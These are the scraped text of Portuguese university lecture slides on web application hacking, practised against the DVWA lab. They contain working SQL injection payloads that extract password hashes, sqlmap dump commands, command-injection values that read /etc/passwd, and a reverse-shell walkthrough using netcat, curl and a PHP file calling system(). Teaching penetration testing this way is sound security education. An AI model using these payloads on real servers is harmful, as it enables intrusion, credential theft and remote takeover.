Baixe o app para aproveitar ainda mais
Prévia do material em texto
Segurança da Informação Aula 12 Prof. Lucas Introdução • Existe uma preocupação em proteger dispositivos como roteadores, switches, servidores • Servidores web possuem acesso aberto, ou seja, são alvos que o mundo inteiro pode explorar Introdução • Especialistas em web hacking: • Programação • Criptografia • Procura por bugs • Desenvolvimento de exploits • BD • Extração de dados • Tráfego de rede Arquitetura servidor web • Responde a requisições de clientes e provê um arquivo ou um serviço como resposta • Primeiramente o cliente faz uma requisição na porta 80 ou 443 • Após o 3 way handshake o servidor aguarda por um HTTP GET • Tal requisição representa um código HTML representando a página web • O servidor procura o código e entrega a requisição Arquitetura servidor web • Como o servidor valida o que o cliente está solicitando? • Pode o servidor ficar confuso e responder com outras solicitações? • Onde estão armazenados os códigos HTML (e outros) e quais as permissões para estes diretórios? Arquitetura servidor web http://w3techs.com/ http://w3techs.com/ Arquitetura servidor web • Independente da aplicação, a maioria das vulnerabilidades são exploradas em virtude da não configuração correta do serviço • Administração remota • Eliminação de serviços desnecessários • Mudança de passwords padrões Arquitetura servidor web • HTTP é o protocolo responsável por buscar e mostrar arquivos HTML no navegador • Consiste em tags que informam ao navegador como disponibilizar o conteúdo • Trabalha com requisição-resposta • Métodos mais comuns: • HEAD • GET • POST Arquitetura servidor web • HTTP HEAD • Semelhante ao GET com exceção que não há retorno de nenhuma informação mostrada no navegador • HTTP GET • Basicamente solicita dados de um servidor: “Envie o HTML da página web <url>” • HTTP POST • Enviar dados para o servidor • GET é visível no navegador enquanto POST só com alguma ferramenta de captura (por exemplo: wireshark) Protocolo HTTP • O protocolo HTTP não identifica o cliente no momento da conexão e não mantém informações sobre o que o cliente está solicitando ao servidor web • É um protocolo stateless (sem estados) • Toda solicitação do cliente para o servidor, corresponderá a um evento totalmente novo e independente, que não tem conhecimento de solicitações anteriores • Para manter o controle das conexões, foi introduzido um artifício, chamado cookie • Os cookies são enviados pelo servidor web, juntamente com as páginas solicitadas pelo cliente e armazenadas em um diretório na estação do cliente • Se não existissem, a cada página visitada seria necessário solicitar um novo login Protocolo HTTP • Sempre que novas solicitações forem feitas ao servidor, os cookies também serão enviados e o servidor poderá reconhecer, acompanhar e atualizar as solicitações do cliente • HTTP não oferece nenhuma confidencialidade no envio das informações (senhas, contas, cartões, etc) • Originalmente não foi concebido para lidar com transações de alto nível de segurança • A versão segura do HTTP é o HTTPS (HTTP secure) -> Combinação do HTTP com o TLS -> Transport Layer Security -> Porta 443 do TCP – camada 4 • Garante uma “ligação privada” entre navegador e aplicação web Cabeçalhos HTTP • Alguns dos cabeçalhos enviados pelo servidor web para o navegador (cliente) • Set-cookie: identificador de sessão • Content-Length: Tamanho do corpo da resposta em bytes. • Location: Utilizado quando uma aplicação redireciona um usuário para uma nova página – identificar páginas que são permitidas somente após uma autenticação Cabeçalhos HTTP • Alguns dos cabeçalhos enviados pelo navegador para aplicação web: • Cookie: Envia de volta ao servidor para preservar a sessão. Valor deve corresponder ao set- cookie. • Referrer: Contém a página web na qual o usuário estava anteriormente quando a próxima solicitação for feita. Valor pode ser facilmente alterado Códigos de status HTTP • Respostas do servidor web incluem código de status • Mais de 50 códigos – divididos em 5 grupos • 100s: Puramente informativas. • 200s: solicitação aceita e processada. Resposta mais comum: 200 OK • 300s: Indica redirecionamento. Exemplo: Acesso a uma página segura após autenticação: 302 Redirect e 200 OK • 400s: Erro na solicitação do cliente: 401 Unauthorized / 403 Forbidden / 404 Not Found • 500s: Indica um erro do lado do servidor: 500 Internal Server Error / 503 Service Unavailable • https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html Ferramenta burp suit – parte prática – 15 minutos https://portswigger.net/burp/download.html Configura um proxy local para visualizar as requisições http. Também é um ferramenta de ataque! https://portswigger.net/burp/download.html Burp Suite • Para configurar o certificado • https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate/ca- cert-firefox https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate/ca-cert-firefox https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate/ca-cert-firefox Metodologia • Definição de processos, passos, ferramentas e as técnicas consideradas como as melhores • Open-Source Security Testing Methodology Manual (OSSTM) • https://www.isecom.org/OSSTMM.3.pdf • Penetration Testing Execution Standard (PTES) • http://www.pentest-standard.org/index.php/Main_Page • Modelo genérico: • Reconhecimento • Scan de vulnerabilidade • Exploração de falhas • Pós-exploração e preservação de acesso https://www.isecom.org/OSSTMM.3.pdf http://www.pentest-standard.org/index.php/Main_Page Reconhecimento • Coletar o máximo de informações possíveis sobre o alvo (endereço IP, topologia, dispositivos, tecnologias, versões, etc) • Amplamente considerado como o aspecto mais importante de um ataque baseado em rede Reconhecimento • Convertendo a URL em IP: • Caso o ambiente alvo tenha servidores compartilhados, pode-se acessar o site: http://sharingmyip.com para descobrir todos os domínios que compartilham o mesmo endereço IP http://sharingmyip.com/ Reconhecimento Reconhecimento – arquivo robots.txt • Uma maneira de começar a entender o que está sendo executado em um servidor web é verificando o arquivo robots.txt • Contém uma lista de diretórios e arquivos que o proprietário quer que sejam omitidos pelos web crawlers (rastreadores web) no processo de indexação • Qualquer arquivo robots.txt pode ser obtido por meio da URL Reconhecimento – arquivo robots.txt Reconhecimento – arquivo robots.txt • Todo servidor web deve ter um arquivo robots.txt em seu diretório raiz; caso contrário os web crawlers poderão indexar todo o site, incluindo banco de dados, arquivos e tudo mais • Windows • C:\inetpub\wwwroot • Linux • /var/www Reconhecimento • GHDB • The harvester • whois • https://www.netcraft.com/tools/ • nslookup • dig • MetaGooFil – metadados https://www.netcraft.com/tools/ Scanning • Comandos nmap • nmap –V (verificar a versão) • apt-get upgrade nmap (atualizar) • nmap –sV –O –p- <IP> • -sV (scan de versão) • -O (informações do SO) • -p- (scan em todas as portas) Reconhecimento – scan de portas • nmap –sV --script=http-enum <IP> (listar os diretórios utilizados por aplicações web) • nmap <IP> -p 80 --script=http-frontpage-login (verifica se o computador está vulnerável a logins anônimos no Microsoft FrontPage na porta 80) • nmap --script http-passwd –script-args http-passwd.root=/ <IP> (verifica se o servidor está vulnerável ao directory traversal) Scanning • Scan de vulnerabilidade – Principais ferramentas • Nessus • Nikto • OpenVas • Zed Attack Proxy (ZAP) • https://kalilinuxtutorials.com/recox/ * https://kalilinuxtutorials.com/recox/ Tipos de ataques • URL tampering • URL obfuscation • Directory Traversal • Injeção de SQL • XSS • Injeção de comandos de SO • LDAP injection • Web shells URL Tampering • Tambémconhecido como Parameter Tampering • Neste tipo de ataque o hacker tenta simplesmente alterar (manipular) parâmetros na string URL na esperança de alterar permissões, escalar privilégios, preços, etc • Exemplos http://weakbank.com/sample?Toacct=1234&Fromacct=5678&credAmnt=50 • Parâmetros interessantes nesta URL: ”From” e ”To” http://example.com/orderdetail.asp?orderID=101 • Imagine que esta página apresente seus dados pessoais. E se mudarmos o ID para 102?? http://example.com/add.asp?ItemID=513&Qty=1&Price=15 • E se quisermos mudar o preço?? URL Obsfucation • Pode ser usado para passar (pelo filtro) de algumas ACLs • Com frequencia, ACLs bloqueiam endereços Ips e URL • Para testar, converta seu endereço IP em um octeto binário. Junte os 4 octetos e transforme em decimal. Acesse o site por este número • Exemplo: site do IFSP • IP=200.133.218.46 • 200=11001000 • 133=10000101 • 218=11011010 • 46=00101110 • 11001000100001011101101000101110 = 3364215342 • Acesse o site: http://3364215342 http://3364215342/ Em geral.... • Ferramentas/técnicas utilizadas: • Proxy de interceptação: catalogar solicitações HTTP • Ferramenta de spidering: criar solicitações automáticas • Scanner de Vulnerabilidades (específico para aplicação web) • Ferramenta de força bruta: descobrir diretórios • Mapa do site: contendo os recursos catalogados Exercícios - Preparando ambiente de testes • Fazer o download do DVWA e subir em um servidor web. Testar o acesso com o usuário ”admin” e senha ”password” http://www.dvwa.co.uk/ • Configurar o certificado no burp suite - https • Configurar o proxy do navegador apontando para o 127.0.0.1 • Ambiente será utilizado na próxima aula! http://www.dvwa.co.uk/ Principais tipos de ataques • Injeção de SQL • Injeção de LDAP • Injeção de comandos do SO • Path Traversal • Ataque força bruta • Ataque a sessões • Análise de cookie • Webshell • Algumas dicas de proteção Introdução • Tipos de injeção mais comuns: • Consultas SQL • Consultas LDAP • Consultas XPATH • Comandos do sistema operacional • Trata-se do envio de uma entrada maliciosa à aplicação web e o fato de ela processar essa entrada Interpretador sql • Tira vantagem de um interpretador SQL • O interpretador recebe dados de entrada e atua imediatamente sobre eles, sem ter de passar pelos processos tradicionais de programação, como ligação, compilação, depuração e execução • Exemplo: Imagine a consulta em uma loja virtual de uma marca de sapatos: String query = “SELECT * FROM shoes WHERE shoeName=‘”+request.getParam(“term”)+”’”; Interpretador sql • Passos 1. Usuário insere Nike na caixa de pesquisa e clica em pesquisar 2. A aplicação armazena a entrada em uma variável chamada term 3. A aplicação monta uma instrução SQL composta de um código previamente criado e da variável term, que é utilizada na solicitação HTTP 4. A aplicação envia essa consulta SQL para o banco 5. Os resultados são enviados de volta à aplicação Interpretador sql • Sintaxe simplificada String query = “SELECT * FROM shoes WHERE shoeName=‘Nike’”; • Estamos simplesmente selecionando todas (*) as colunas (id number, shoeName, shoePrice) da tabela shoes em busca de qualquer registro que tenha Nike na coluna shoeName • A consulta inteira é tratada como uma variável do tipo string • Consulta propriamente dita (executada pelo interpretador) SELECT * FROM shoes WHERE shoeName=‘Nike’ Sql para hackers • Consulta é dividida em 3 partes: 1.SELECT * FROM shoes WHERE shoeName=‘ Porção criada previamente pelo programador – está à espera de dados de entrada 2. A variável term é concatenada à primeira porção de código – o usuário tem o controle total desta variável 3.‘ Esta aspa simples é então concatenada diretamente pelo programa à entrada do usuário para completar a instrução SQL Sql para hackers • Um hacker pode compor entradas maliciosas em vez de inserir uma marca de sapatos na caixa de pesquisa • Exemplo clássico deste exploit: Nike’ OR 1=1# • Isto fará a seguinte instrução ser enviada ao interpretador SELECT * FROM shoes WHERE shoeName=‘Nike’ OR 1=1#’ Sql para hackers • O #(sustenido) corresponde a um comentário inline e o interpretador ignorará tudo o que vier depois • Instrução SQL resultante SELECT * FROM shoes WHERE shoeName=‘Nike’ OR 1=1 • Atenção nas aspas: • A aspa simples após Nike fará a correspondência com a primeira aspa inserida pela aplicação • A aspa simples concatenada ao final da entrada do usuário será ignorada pelo # • Não só os sapatos Nike serão retornados, mas todos os outros sapatos, pois 1=1 é sempre verdadeiro • Outra Opção Nike’ OR ‘a’=‘a Ataques de injeção • Sabendo-se que a aplicação está vulnerável, vamos inserir o comando visto anteriormente: Dica: Utilizar o burp suite para manipulação dos parâmetros! Extraindo outras informações • Passos 1. Descobrir o nome do banco de dados 2. Descobrir os nomes das tabelas do banco 3. Descobrir os nomes das colunas 4. Obter os dados das colunas Extraindo outras informações • Utilizaremos a instrução SQL union (permite que uma consulta adicional seja executada) • Isto é necessário pois a primeira consulta só conseguiu extrair informações de nome e sobrenome • Para utilizar o union, a quantidade total e os tipos de dados das colunas devem corresponder • A consulta apresentada retorna 2 colunas de strings • Utilizaremos um dado nulo na primeira coluna e a segunda coluna conterá o resultado da consulta adicional Extraindo outras informações • Um exemplo poderia ser: Lucas’ or 1=1 union select null, database()# Extraindo outras informações • O resultado inclui todos os primeiros nomes e sobrenomes e o resultado da união corresponde à última linha • Para obter todos os nomes das tabelas: Lucas’ and 1=1 union select null, table_name from information_schema.tables # • Esquema de informações (information_schema) corresponde ao conjunto de dados (metadados) hospedados pelo SGBD Extraindo outras informações • Para obter os nomes das colunas usadas na tabela users: Lucas’ and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ # • Dica: Não copiar e colar -> erro nas aspas • O primeiro resultado sempre estará em branco • A segunda coluna dos resultados terá resultados concatenados contendo o nome da tabela de usuários, uma quebra de linha e o nome da coluna da tabela users Extraindo as hashes de senha • Lucas' and 1=1 union select null, concat (user,0x0a,password) from users # Tentativa de logins – SQL Injection • ’ or 1=1-- • admin ’ -- • admin ’ /* • ’ or 1=1-- • ’) • (’1’=’1-- Ferramenta SQLMAP • Ferramenta de linha de comando para injeção de SQL • http://sqlmap.org • Automatiza o processo de detectar e explorar falhas de injeção de SQL • Algumas opções: • -u -> URL • --cookie -> especificar um cookie de sessão válido • -b -> banner do banco de dados • --current-db -> obter o banco de dados corrente do SGBD • --users -> obter os usuários do SGBD • --password -> obter as hashes das senhas • --tables -> obter todas as tabelas do banco de dados alvo • --columns -> obter todas as colunas da tabela-alvo • -D -> qual banco será o alvo • -T -> especificar a tabela alvo • -C -> especificar quais colunas devem ser obtidas • --dump -> obter o conteúdo das colunas alvo http://sqlmap.org/ Ferramenta SQLMAP – Kali A url e o cookie, pegar pelo Burp Suite • Repetindo os passos anteriores por meio do sqlmap 1. Obtendo o banner e o nome do banco sqlmap –u ”” --cookie ”” –b -- current-db 2. Tabelas sqlmap –u ”” --cookie ”” –D dvwa --tables 3. Colunas da tabela users do BD dvwa sqlmap –u ”” --cookie ”” –D dvwa –T users --columns 4. Quebra de senha de todos os usuários do BD dvwa sqlmap –u ”” --cookie ”” –D dvwa –T users –C password,users,user_id --dump Pegando o ID da sessão SQLMAP – parte prática SQLMAP – parte prática SQLMAP – parte prática SQLMAP – parte prática SQLMAP – parte práticaResumo - SQLMAP LDAP Injection • Lightweight Directory Access Protocol • É um ataque que explora aplicações que constroem LDAP statements baseados na entrada de um usuário • Mais especificamente, explora entradas web que não validam as queries LDAP • Por exemplo: Uma query LDAP poderia ser (& (USER=Lucas) (PASSWORD=MyPass!)) -> Signigica: Verifique se o usuário Lucas possui a senha MyPass! • Em um ataque de LDAP Injection, o atacante altera o formulário de login adicionando um )(&) após o username • O símbolo & encerra a query e apenas a primeira parte seria processada LDAP Injection • (&(USER=Lucas)(&)(PASSWORD=QualquerCoisa)) • Significa que: Cheque se o username existe! Injeção de comandos do Sistema Operacional • Ocorre quando é capaz de determinar os comandos do nível de sistema que serão executados no servidor web • Possíveis ações: • Adicionar um usuário • Adicionar um usuário a um grupo • Apagar um usuário • Normalmente acontece em sites em que se pode executar um comando de SO: ipconfig, ping, etc Injeção de comandos do so • E se inserirmos um comando com a ferramenta netcat? • Exemplo Windows: 192.168.1.106 | ipconfig Injeção de comandos do so • 127.0.0.1; ls • 127.0.0.1; cat /etc/passwd • 127.0.0.1; pwd Path Traversal • Solicitação maliciosa Path Traversal – dvwa – função “File Inclusion” Burp Intruder • Ferramenta para automatizar ataques personalizados contra aplicações web • Configurar o intruder para atacar somente os parâmetros escolhidos • Payloads: • Sniper: único conjunto de payloads e usa cada posição como alvo. Mais aplicável em xss • Battering ram: único conjunto também, porém insere o mesmo payload em todos os parâmetros • Pitchfork: utiliza vários conjuntos de payloads e faz a iteração por todos os conjuntos • Cluster bomb: utiliza vários conjuntos porém usa um conjunto de payload para cada parâmetro marcado e faz a iteração Ataques a sessões • Sequestro de sessão • XSS é o método mais comum • Fixação de sessão • Doação de sessão • ID de sessão na URL Acessando o shell da vítima Primeiramente criar o comando para o shell reverso Se a aplicação rodar php, criar o arquivo que irá fazer a chamada para a função system – atenção no IP e porta Shell reverso https://www.revshells.com/ Netcat Servidor web GET shell.sh curl Atacante Vítima Shell.php https://www.revshells.com/ Passo-a-passo Subir o servidor web Subir o netcat Enviar o arquivo php Executar o comando curl para enviar o shell reverso Passo-a-passo Subir o servidor web: puthon3 -m http.server 8080 Arquivo shell.sh deve estar no mesmo diretório que executar o servidor web Colocar o netcat no modo listener: nc -lvnp 443 A porta escolhida deve ser a mesma que está no arquivo shell.sh Enviando arquivo php para o servidor Testando o cmd Pegando o shell reverso Webshell – Opção 2 http://sourceforge.net/projects/ajaxshell http://sourceforge.net/projects/ajaxshell Webshell – Senha: password Webshell Webshell • E se a aplicação não indicar o local de upload do arquivo? • Se a aplicação está vulnerável ao ataque de injeção de comandos: • find / -name Shell_v0_7.php • Ou fazer um upload de qualquer outro arquivo e verificar o link de obtenção Wappalyzer Plugin no navegador para reconhecimento wappalyzer.com/apps Proteção • Considere todo usuário como um atacante em potencial • Filtre todas as entradas • Use Prepared Statements • Não permita que erros sem tratamento sejam exibidos • LOG • IDS • Não armazene conteúdo sensível em plain text Segurança da Informação Introdução Introdução (2) Arquitetura servidor web Arquitetura servidor web (2) Arquitetura servidor web (3) Arquitetura servidor web (4) Arquitetura servidor web (5) Arquitetura servidor web (6) Protocolo HTTP Protocolo HTTP (2) Cabeçalhos HTTP Cabeçalhos HTTP (2) Códigos de status HTTP Ferramenta burp suit – parte prática – 15 minutos Burp Suite Metodologia Reconhecimento Reconhecimento (2) Reconhecimento (3) Reconhecimento – arquivo robots.txt Reconhecimento – arquivo robots.txt (2) Reconhecimento – arquivo robots.txt (3) Reconhecimento (4) Scanning Reconhecimento – scan de portas Scanning (2) Tipos de ataques URL Tampering URL Obsfucation Em geral.... Exercícios - Preparando ambiente de testes Slide 33 Slide 34 Interpretador sql Interpretador sql (2) Interpretador sql (3) Sql para hackers Sql para hackers (2) Sql para hackers (3) Ataques de injeção Extraindo outras informações Extraindo outras informações (2) Extraindo outras informações (3) Extraindo outras informações (4) Extraindo outras informações (5) Extraindo as hashes de senha Tentativa de logins – SQL Injection Ferramenta SQLMAP Ferramenta SQLMAP – Kali A url e o cookie, pegar pelo Burp Suit Pegando o ID da sessão SQLMAP – parte prática SQLMAP – parte prática (2) SQLMAP – parte prática (3) SQLMAP – parte prática (4) SQLMAP – parte prática (5) Resumo - SQLMAP LDAP Injection LDAP Injection (2) Injeção de comandos do Sistema Operacional Injeção de comandos do so Injeção de comandos do so (2) Path Traversal Path Traversal – dvwa – função “File Inclusion” Burp Intruder Slide 66 Slide 67 Slide 68 Slide 69 Slide 70 Slide 71 Slide 72 Ataques a sessões Acessando o shell da vítima Shell reverso Passo-a-passo Passo-a-passo (2) Enviando arquivo php para o servidor Testando o cmd Pegando o shell reverso Slide 81 Webshell – Opção 2 http://sourceforge.net/projects/ajaxshell Webshell – Senha: password Webshell Webshell (2) Wappalyzer Proteção
Compartilhar